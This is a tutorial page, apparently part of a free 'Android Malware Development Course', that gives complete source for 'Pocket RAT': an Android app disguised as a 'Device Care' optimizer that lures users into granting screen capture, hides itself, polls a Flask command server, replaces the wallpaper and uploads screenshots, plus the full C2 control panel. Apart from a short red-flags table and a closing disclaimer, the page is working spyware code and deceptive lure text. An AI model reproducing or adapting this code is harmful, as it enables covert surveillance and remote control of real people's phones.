Control Any Phone Remotely from Your Browser
Part of the Android Malware Development Course β 100% FREE
Welcome, remote overlords!
After stealing real credentials in Free Module 1, itβs time to feel raw power.
In Free Module 2: The Pocket RAT, you will build a lightweight but genuinely dangerous remote access tool.
From a clean web panel on your laptop, you will remotely control the phone:
- Change the wallpaper instantly to anything you want
- Take a screenshot and see the victimβs screen
This is exactly how real lightweight RATs and banking trojans maintain live control after infection, silent, responsive, and scary.
You will feel like you actually own the device.
Module 1 let you steal. Module 2 lets you control.
The ability to change the wallpaper remotely is especially powerful and visually shocking, the victim suddenly sees your custom image (or a scary message) as their wallpaper. Combined with screenshot, this module feels truly malicious and professional.
- Building a simple bidirectional C2 using Flask + HTTP polling
- Executing powerful remote commands on the device
- Changing wallpaper remotely using WallpaperManager
- Taking screenshots remotely (one-time permission)
- Creating a clean browser-based control panel
Before we start coding, letβs understand why these commands are dangerous and how they actually work. Think of the phone as a puppet and your laptop as the strings.
Your phone runs a small background service that quietly asks your laptop every 1.5 seconds: βAny new orders?β
Your laptop replies with a simple word (vibrate, screenshot, etc.).
The phone immediately obeys.
This is called polling, the same method used by real RATs because it works even behind strict firewalls.
Laptop Browser β Sends command β Android Service receives it β Phone executes instantly
| Command | How It Works | Why It Feels Malicious |
|---|---|---|
| Change Wallpaper | Uses WallpaperManager.setBitmap() | Instantly replaces the home screen wallpaper, very visible and creepy |
| Take Screenshot | Uses MediaProjection (one-time permission) | Captures exactly what the victim is seeing and sends it to you |
Goal:
Open a web page on your laptop β click buttons β watch the phone obey immediately (including changing the wallpaper and taking screenshots).
- New Project β Empty Activity
- Name:
PocketRAT - Package:
com.remote.service - Min SDK: 30
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.remote.service">
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.SET_WALLPAPER" />
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_MEDIA_PROJECTION" />
<application
android:allowBackup="false"
android:icon="@mipmap/ic_launcher"
android:label="Device Care"
android:theme="@style/Theme.PocketRAT"
android:usesCleartextTraffic="true">
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name=".RATService" android:exported="false" android:foregroundServiceType="mediaProjection" />
</application>
</manifest>This is the Android Manifest file (AndroidManifest.xml) for the Pocket RAT with package name com.remote.service. It declares the exact permissions and components needed for remote wallpaper changes, screenshot capture via MediaProjection, and persistent background operation.
The configuration is clean and focused on remote control capabilities while keeping the app disguised as a legitimate "Device Care" tool.
-
Requested Permissions (
<uses-permission>)INTERNET: For C2 polling and exfiltration.SET_WALLPAPER: Allows instant wallpaper replacement.POST_NOTIFICATIONS,FOREGROUND_SERVICE,FOREGROUND_SERVICE_MEDIA_PROJECTION: Required for the persistent MediaProjection service.
-
Application Configuration (
<application>)android:label="Device Care": Appears completely benign.android:usesCleartextTraffic="true": For local Flask testing.
-
Declared Components
- MainActivity: Launcher, exported.
- RATService: Foreground service (mediaProjection type), not exported.
Intended Working Flow:
- App launches via MainActivity (innocent UI).
- User grants screen capture once.
- RATService starts as foreground service and begins polling the Flask C2.
- Commands arrive β wallpaper changes or screenshot is taken and sent back.
Security Implications:
Minimal visible footprint + foreground service makes it extremely persistent. Wallpaper and screenshot commands mirror real RAT behavior.
AndroidManifest.xml
β
βββ <uses-permission> Γ5
β βββ INTERNET
β βββ SET_WALLPAPER
β βββ POST_NOTIFICATIONS
β βββ FOREGROUND_SERVICE
β βββ FOREGROUND_SERVICE_MEDIA_PROJECTION
β
βββ <application>
βββ label="Device Care"
βββ usesCleartextTraffic="true"
β
βββ <activity android:name=".MainActivity"> (LAUNCHER)
β
βββ <service android:name=".RATService">
βββ foregroundServiceType="mediaProjection"
plugins {
alias(libs.plugins.android.application)
alias(libs.plugins.kotlin.android)
}
android {
namespace = "com.remote.service"
compileSdk = 36
defaultConfig {
applicationId = "com.remote.service"
minSdk = 30
targetSdk = 36
versionCode = 1
versionName = "1.0"
testInstrumentationRunner = "androidx.test.runner.AndroidJUnitRunner"
}
buildTypes {
release {
isMinifyEnabled = false
proguardFiles(
getDefaultProguardFile("proguard-android-optimize.txt"),
"proguard-rules.pro"
)
}
}
compileOptions {
sourceCompatibility = JavaVersion.VERSION_11
targetCompatibility = JavaVersion.VERSION_11
}
kotlinOptions {
jvmTarget = "11"
}
}
dependencies {
implementation(libs.androidx.core.ktx)
implementation(libs.androidx.appcompat)
implementation(libs.material)
implementation(libs.androidx.activity)
implementation(libs.androidx.constraintlayout)
implementation("com.squareup.okhttp3:okhttp:4.12.0")
testImplementation(libs.junit)
androidTestImplementation(libs.androidx.junit)
androidTestImplementation(libs.androidx.espresso.core)
}This is the Gradle build configuration (build.gradle.kts) for the Pocket RAT. It sets up a modern Android project and includes OkHttp, the only external dependency needed for C2 communication.
-
Plugins and Android Block
Targets API 36, minSdk 30 for maximum compatibility. -
Dependencies
Standard AndroidX +okhttp:4.12.0for polling and file upload.
Compiles a lightweight APK capable of background C2 and MediaProjection.
build.gradle.kts
β
βββ Plugins (Android + Kotlin)
β
βββ Android Block
β βββ namespace, compileSdk=36, minSdk=30
β βββ Java/Kotlin 11
β
βββ Dependencies
βββ AndroidX UI
βββ okhttp (C2 engine)
package com.remote.service
import android.app.Activity
import android.content.Context
import android.content.Intent
import android.media.projection.MediaProjectionManager
import android.os.Bundle
import android.widget.Button
import android.widget.Toast
import androidx.activity.result.contract.ActivityResultContracts
import androidx.appcompat.app.AppCompatActivity
class MainActivity : AppCompatActivity() {
private lateinit var mediaProjectionManager: MediaProjectionManager
private val screenCaptureLauncher = registerForActivityResult(
ActivityResultContracts.StartActivityForResult()
) { result ->
if (result.resultCode == Activity.RESULT_OK && result.data != null) {
// The user accepted the screen capture prompt!
Toast.makeText(this, "Optimization Started", Toast.LENGTH_SHORT).show()
// Start the background RAT service
val serviceIntent = Intent(this, RATService::class.java).apply {
putExtra("code", result.resultCode)
putExtra("data", result.data)
}
startForegroundService(serviceIntent)
// Close the visible app
finish()
} else {
Toast.makeText(this, "Optimization Cancelled.", Toast.LENGTH_LONG).show()
}
}
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
mediaProjectionManager = getSystemService(Context.MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
val btnOptimize = findViewById<Button>(R.id.btnOptimize)
btnOptimize.setOnClickListener {
// Straight to the point: Only trigger the MediaProjection prompt.
// No extra permissions requested!
val captureIntent = mediaProjectionManager.createScreenCaptureIntent()
screenCaptureLauncher.launch(captureIntent)
}
}
}This is the main activity class (MainActivity.kt) that serves as the innocent-looking launcher. It requests the one-time MediaProjection permission and immediately starts the background RATService.
- ActivityResultLauncher β Handles the screen capture consent dialog.
- onCreate() β Sets up the UI and launches the permission intent on button click.
- Service Start β Passes resultCode and data to RATService, then self-destructs (
finish()).
Intended Working Flow:
App opens β Tap "Optimize Now" β Standard Android screen-capture prompt β Service starts in background β App disappears.
Security Implications:
One-time permission + immediate background transition is exactly how real RATs hide after initial infection.
MainActivity.kt
β
βββ screenCaptureLauncher (ActivityResult)
β
βββ onCreate()
βββ setContentView (innocent UI)
βββ btnOptimize β createScreenCaptureIntent()
βββ on result β startForegroundService(RATService) + finish()
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="#FFFFFF"
android:gravity="center_horizontal"
android:orientation="vertical"
android:padding="24dp">
<Space
android:layout_width="match_parent"
android:layout_height="0dp"
android:layout_weight="1" />
<ImageView
android:layout_width="72dp"
android:layout_height="72dp"
android:layout_marginBottom="24dp"
android:src="@android:drawable/ic_menu_manage"
app:tint="#1A73E8" />
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Device Care & Optimization"
android:textAlignment="center"
android:textColor="#202124"
android:textSize="24sp"
android:textStyle="bold" />
<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginTop="16dp"
android:lineSpacingExtra="4dp"
android:textAlignment="center"
android:text="To clear hidden cache and optimize background rendering, Device Care needs to briefly analyze your display output.\n\nPlease accept the standard Android prompt on the next screen to proceed."
android:textColor="#5F6368"
android:textSize="16sp" />
<Space
android:layout_width="match_parent"
android:layout_height="0dp"
android:layout_weight="1" />
<Button
android:id="@+id/btnOptimize"
android:layout_width="match_parent"
android:layout_height="56dp"
android:layout_marginBottom="32dp"
android:backgroundTint="#1A73E8"
android:text="Optimize Now"
android:textColor="#FFFFFF"
android:textSize="16sp"
android:textStyle="bold"
app:cornerRadius="8dp" />
</LinearLayout>This is the layout file for the visible "Device Care" screen. It uses official-looking Google colors and wording to make the initial launch feel completely legitimate.
- Centered title and icon
- Convincing explanatory text about "optimization"
- Blue "Optimize Now" button
Provides the social-engineering facade before disappearing forever.
activity_main.xml
β
βββ LinearLayout (vertical, centered)
βββ ImageView (manage icon, blue tint)
βββ TextView "Device Care & Optimization"
βββ TextView long explanatory text
βββ Button id=btnOptimize (blue)
package com.remote.service
import android.app.Activity
import android.app.Notification
import android.app.NotificationChannel
import android.app.NotificationManager
import android.app.Service
import android.app.WallpaperManager
import android.content.Context
import android.content.Intent
import android.graphics.Bitmap
import android.graphics.Canvas
import android.graphics.Color
import android.graphics.Paint
import android.graphics.PixelFormat
import android.hardware.display.DisplayManager
import android.hardware.display.VirtualDisplay
import android.media.ImageReader
import android.graphics.BitmapFactory
import android.media.projection.MediaProjection
import android.media.projection.MediaProjectionManager
import android.os.*
import android.util.Base64
import android.util.Log
import android.view.WindowManager
import android.widget.Toast
import androidx.core.app.NotificationCompat
import okhttp3.*
import java.io.ByteArrayOutputStream
import java.io.IOException
class RATService : Service() {
private val CHANNEL_ID = "OptimizerServiceChannel"
private var mediaProjection: MediaProjection? = null
private val handler = Handler(Looper.getMainLooper())
private val client = OkHttpClient()
private val C2_SERVER_URL = "http://10.0.2.2:5000/get_command"
private val commandPollingRunnable = object : Runnable {
override fun run() {
pollServerForCommands()
handler.postDelayed(this, 3000)
}
}
private fun pollServerForCommands() {
val request = Request.Builder().url(C2_SERVER_URL).build()
client.newCall(request).enqueue(object : Callback {
override fun onFailure(call: Call, e: IOException) {
Log.e("POCKET_RAT", "[-] C2 Connection Failed: ${e.message}")
}
override fun onResponse(call: Call, response: Response) {
// .use {} ensures the response body is safely closed, fixing the leak!
response.use { res ->
val command = res.body?.string()?.trim() ?: ""
if (command != "none" && command.isNotEmpty()) {
Log.e("POCKET_RAT", "[+] C2 Command Received: $command")
handler.post { executeCommand(command) }
}
}
}
})
}
private fun downloadAndSetWallpaper() {
val wallpaperUrl = C2_SERVER_URL.replace("get_command", "hacked_wallpaper")
Log.e("POCKET_RAT", "[*] Fetching wallpaper from: $wallpaperUrl")
val request = Request.Builder().url(wallpaperUrl).build()
client.newCall(request).enqueue(object : Callback {
override fun onFailure(call: Call, e: IOException) {
Log.e("POCKET_RAT", "[-] Network Failure: ${e.message}")
}
override fun onResponse(call: Call, response: Response) {
response.use { res ->
if (!res.isSuccessful) {
// THIS is likely where it failed before!
Log.e("POCKET_RAT", "[-] HTTP Error: ${res.code}. Is 'hacked.png' definitely in the Flask folder?")
return
}
try {
val bytes = res.body?.bytes()
if (bytes != null && bytes.isNotEmpty()) {
Log.e("POCKET_RAT", "[*] Downloaded ${bytes.size} bytes. Decoding image...")
val bitmap = BitmapFactory.decodeByteArray(bytes, 0, bytes.size)
if (bitmap != null) {
val wallpaperManager = WallpaperManager.getInstance(applicationContext)
wallpaperManager.setBitmap(bitmap)
Log.e("POCKET_RAT", "β
SUCCESS: C2 Wallpaper applied!")
handler.post {
Toast.makeText(applicationContext, "Debug: Wallpaper Applied", Toast.LENGTH_SHORT).show()
}
} else {
Log.e("POCKET_RAT", "[-] Decoding failed! The downloaded file is not a valid image format.")
}
} else {
Log.e("POCKET_RAT", "[-] Server returned an empty file.")
}
} catch (e: Exception) {
Log.e("POCKET_RAT", "[-] Crash setting wallpaper: ${e.message}")
}
}
}
})
}
private fun captureScreenLocally() {
if (mediaProjection == null) return
val windowManager = getSystemService(Context.WINDOW_SERVICE) as WindowManager
val metrics = windowManager.currentWindowMetrics
val width = metrics.bounds.width()
val height = metrics.bounds.height()
val density = resources.displayMetrics.densityDpi
val imageReader = ImageReader.newInstance(width, height, PixelFormat.RGBA_8888, 2)
var virtualDisplay: VirtualDisplay? = null
virtualDisplay = mediaProjection?.createVirtualDisplay(
"RAT_ScreenCapture", width, height, density,
DisplayManager.VIRTUAL_DISPLAY_FLAG_AUTO_MIRROR,
imageReader.surface, null, null
)
// Lock to ensure we only capture ONE frame
var isCaptured = false
imageReader.setOnImageAvailableListener({ reader ->
if (isCaptured) return@setOnImageAvailableListener
isCaptured = true
val image = reader.acquireLatestImage()
if (image != null) {
val planes = image.planes
val buffer = planes[0].buffer
val pixelStride = planes[0].pixelStride
val rowStride = planes[0].rowStride
val rowPadding = rowStride - pixelStride * width
val bitmap = Bitmap.createBitmap(width + rowPadding / pixelStride, height, Bitmap.Config.ARGB_8888)
bitmap.copyPixelsFromBuffer(buffer)
val stream = ByteArrayOutputStream()
bitmap.compress(Bitmap.CompressFormat.JPEG, 50, stream)
val realBase64String = Base64.encodeToString(stream.toByteArray(), Base64.DEFAULT)
image.close()
virtualDisplay?.release()
imageReader.setOnImageAvailableListener(null, null)
sendScreenshotToServer(realBase64String)
}
}, handler)
}
private fun executeCommand(command: String) {
when (command) {
"screenshot" -> {
Log.e("POCKET_RAT", "πΈ ACTION: Screen capture triggered.")
captureScreenLocally()
}
"change_wallpaper" -> {
Log.e("POCKET_RAT", "πΌοΈ ACTION: Downloading and Setting C2 Wallpaper.")
downloadAndSetWallpaper() // <-- We will create this function next
}
else -> Log.e("POCKET_RAT", "[?] Unknown command: $command")
}
}
private fun sendScreenshotToServer(safeImagePayload: String) {
val formBody = FormBody.Builder().add("image", safeImagePayload).build()
val request = Request.Builder()
.url(C2_SERVER_URL.replace("get_command", "upload_screenshot"))
.post(formBody).build()
client.newCall(request).enqueue(object : Callback {
override fun onFailure(call: Call, e: IOException) {}
override fun onResponse(call: Call, response: Response) {
Log.e("POCKET_RAT", "[+] Payload exfiltrated to C2 successfully!")
}
})
}
override fun onCreate() {
super.onCreate()
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
val serviceChannel = NotificationChannel(CHANNEL_ID, "Optimizer Service Channel", NotificationManager.IMPORTANCE_LOW)
getSystemService(NotificationManager::class.java).createNotificationChannel(serviceChannel)
}
}
override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
val notification: Notification = NotificationCompat.Builder(this, CHANNEL_ID)
.setContentTitle("Device Care")
.setContentText("Optimization running in background...")
.setSmallIcon(android.R.drawable.ic_dialog_info)
.build()
startForeground(1, notification)
val resultCode = intent?.getIntExtra("code", Activity.RESULT_CANCELED) ?: Activity.RESULT_CANCELED
val resultData: Intent? = intent?.getParcelableExtra("data")
if (resultCode == Activity.RESULT_OK && resultData != null) {
mediaProjection = (getSystemService(Context.MEDIA_PROJECTION_SERVICE) as MediaProjectionManager).getMediaProjection(resultCode, resultData)
Log.e("POCKET_RAT", "π― SUCCESS: Background Service Active.")
handler.post(commandPollingRunnable)
}
return START_NOT_STICKY
}
override fun onDestroy() {
super.onDestroy()
handler.removeCallbacks(commandPollingRunnable)
mediaProjection?.stop()
}
override fun onBind(intent: Intent?): IBinder? = null
}This is the core remote access service (RATService.kt). It runs as a foreground service, polls the Flask C2 every 3 seconds, executes received commands (wallpaper change or screenshot), and sends results back.
- Polling Logic β
commandPollingRunnableevery 3000 ms. - downloadAndSetWallpaper() β Fetches
hacked.pngfrom C2 and applies it via WallpaperManager. - captureScreenLocally() β Uses MediaProjection + VirtualDisplay + ImageReader to capture one frame, converts to Base64.
- executeCommand() β Routes "screenshot" or "change_wallpaper".
- sendScreenshotToServer() β POSTs Base64 image to
/upload_screenshot.
Intended Working Flow:
Service starts β Polls /get_command β Receives command β Executes instantly (wallpaper or screenshot) β Reports back.
Security Implications:
Persistent foreground service + MediaProjection gives full visual control. Wallpaper change is instant and highly visible.
RATService.kt
β
βββ onStartCommand() β startForeground + get MediaProjection
β
βββ commandPollingRunnable (every 3s)
β βββ pollServerForCommands() β GET /get_command
β
βββ executeCommand(cmd)
β βββ "screenshot" β captureScreenLocally()
β βββ "change_wallpaper" β downloadAndSetWallpaper()
β
βββ captureScreenLocally() β VirtualDisplay β Base64 β sendScreenshotToServer()
β
βββ downloadAndSetWallpaper() β GET /hacked_wallpaper β WallpaperManager.setBitmap()
from flask import Flask, request, render_template_string, send_file
import os
app = Flask(__name__)
pending_command = "none"
latest_screenshot = None
@app.route('/')
def panel():
# We completely removed the annoying page reload!
html = """
<html>
<head><title>Pocket RAT C2</title></head>
<body style="font-family: Arial; padding: 20px; background-color: #f4f4f9;">
<h1 style="color: #d93025;">π΄ Pocket RAT Control Panel</h1>
<div style="margin-bottom: 20px;">
<button onclick="sendCommand('change_wallpaper')" style="padding: 15px; background: #ea4335; color: white; border: none; cursor: pointer; font-size: 16px; font-weight: bold; margin-right: 10px;">πΌοΈ Deploy Wallpaper</button>
<button onclick="sendCommand('screenshot')" style="padding: 15px; background: #34a853; color: white; border: none; cursor: pointer; font-size: 16px; font-weight: bold;">πΈ Take Screenshot</button>
</div>
<h2>Latest Screenshot:</h2>
<div style="border: 2px dashed #ccc; width: 350px; min-height: 550px; display: flex; align-items: center; justify-content: center; background: #fff;">
<p id="ss-placeholder" style="color: #999;">Waiting for payload...</p>
<img id="ss-img" src="" style="max-width: 100%; max-height: 100%; display: none;">
</div>
<script>
function sendCommand(cmd) {
fetch('/set_command', {method: 'POST', body: cmd});
}
// Smoothly fetch just the image data every 3 seconds
setInterval(() => {
fetch('/get_screenshot_data')
.then(response => response.text())
.then(base64data => {
if(base64data && base64data !== "none") {
document.getElementById('ss-img').src = "data:image/png;base64," + base64data;
document.getElementById('ss-img').style.display = 'block';
document.getElementById('ss-placeholder').style.display = 'none';
}
});
}, 3000);
</script>
</body>
</html>
"""
return render_template_string(html)
@app.route('/set_command', methods=['POST'])
def set_command():
global pending_command
pending_command = request.get_data(as_text=True)
print(f"[!] C2 Command Queued: {pending_command}")
return "OK"
@app.route('/get_command', methods=['GET'])
def get_command():
global pending_command
cmd_to_send = pending_command
pending_command = "none"
return cmd_to_send
@app.route('/upload_screenshot', methods=['POST'])
def upload_screenshot():
global latest_screenshot
latest_screenshot = request.form.get('image')
print("[+] πΈ Screenshot payload successfully stored in C2!")
return "OK"
# This endpoint feeds the smooth AJAX update on the webpage
@app.route('/get_screenshot_data', methods=['GET'])
def get_screenshot_data():
global latest_screenshot
return latest_screenshot if latest_screenshot else "none"
@app.route('/hacked_wallpaper', methods=['GET'])
def get_hacked_wallpaper():
print("[*] Target requested wallpaper payload...")
return send_file('hacked.png', mimetype='image/png')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True)This is the browser-based C2 control panel (app.py). It provides a clean web interface to queue commands and view live screenshots.
- /panel (GET) β Renders the beautiful control page with buttons and live image.
- /set_command (POST) β Queues the command.
- /get_command (GET) β Returns next command (polled by RAT).
- /upload_screenshot (POST) β Stores Base64 screenshot.
- /get_screenshot_data (GET) β AJAX-fed live image.
- /hacked_wallpaper (GET) β Serves the custom PNG.
Intended Working Flow:
Run Flask β Open http://localhost:5000 β Click buttons β Phone instantly reacts β Screenshot appears live.
Security Implications:
Simple polling + Base64 screenshot transfer is exactly how real lightweight RATs operate.
Flask Web Panel
β
βββ Global: pending_command, latest_screenshot
β
βββ / (GET) β panel() with HTML + JS
β
βββ /set_command (POST) β queue command
βββ /get_command (GET) β return & clear
βββ /upload_screenshot (POST) β store Base64
βββ /get_screenshot_data (GET) β AJAX image feed
βββ /hacked_wallpaper (GET) β send_file('hacked.png')
-
Run Flask panel on your laptop (
python app.py) -
Install the APK on emulator
-
Click commands and watch the phone react:
- Change Wallpaper
| Red Flag | How to Spot It | How to Protect Yourself / Users |
|---|---|---|
| Phone vibrates or shows random toasts without any app open | Check recent notifications and background activity | Monitor Notification history and restrict background apps |
| Wallpaper changes by itself | Instant visual clue | Check Settings > Wallpaper, see if any unknown app recently changed it |
| Browser opens unknown URLs or screenshots are taken silently | Check browser history and recent media in Gallery | Disable unnecessary permissions (Camera, Storage) and review running services |
| Battery drains faster than usual | Settings > Battery shows unknown service using power | Use built-in Battery optimization and kill suspicious background processes |
Pro Tip for Developers & Enterprises: Use UsageStatsManager restrictions and AppOps to block background polling. Enterprise MDM can force-disable foreground services and monitor for HTTP polling patterns.
By the end of this free module, youβll:
- Build a real remote control RAT with multiple dangerous commands
- Remotely change the victimβs wallpaper
- Take screenshots and see the screen live
- Understand how real RATs maintain frightening levels of control
This module is for educational and research purposes only. Never use on real devices or people. Always test in isolated emulators.


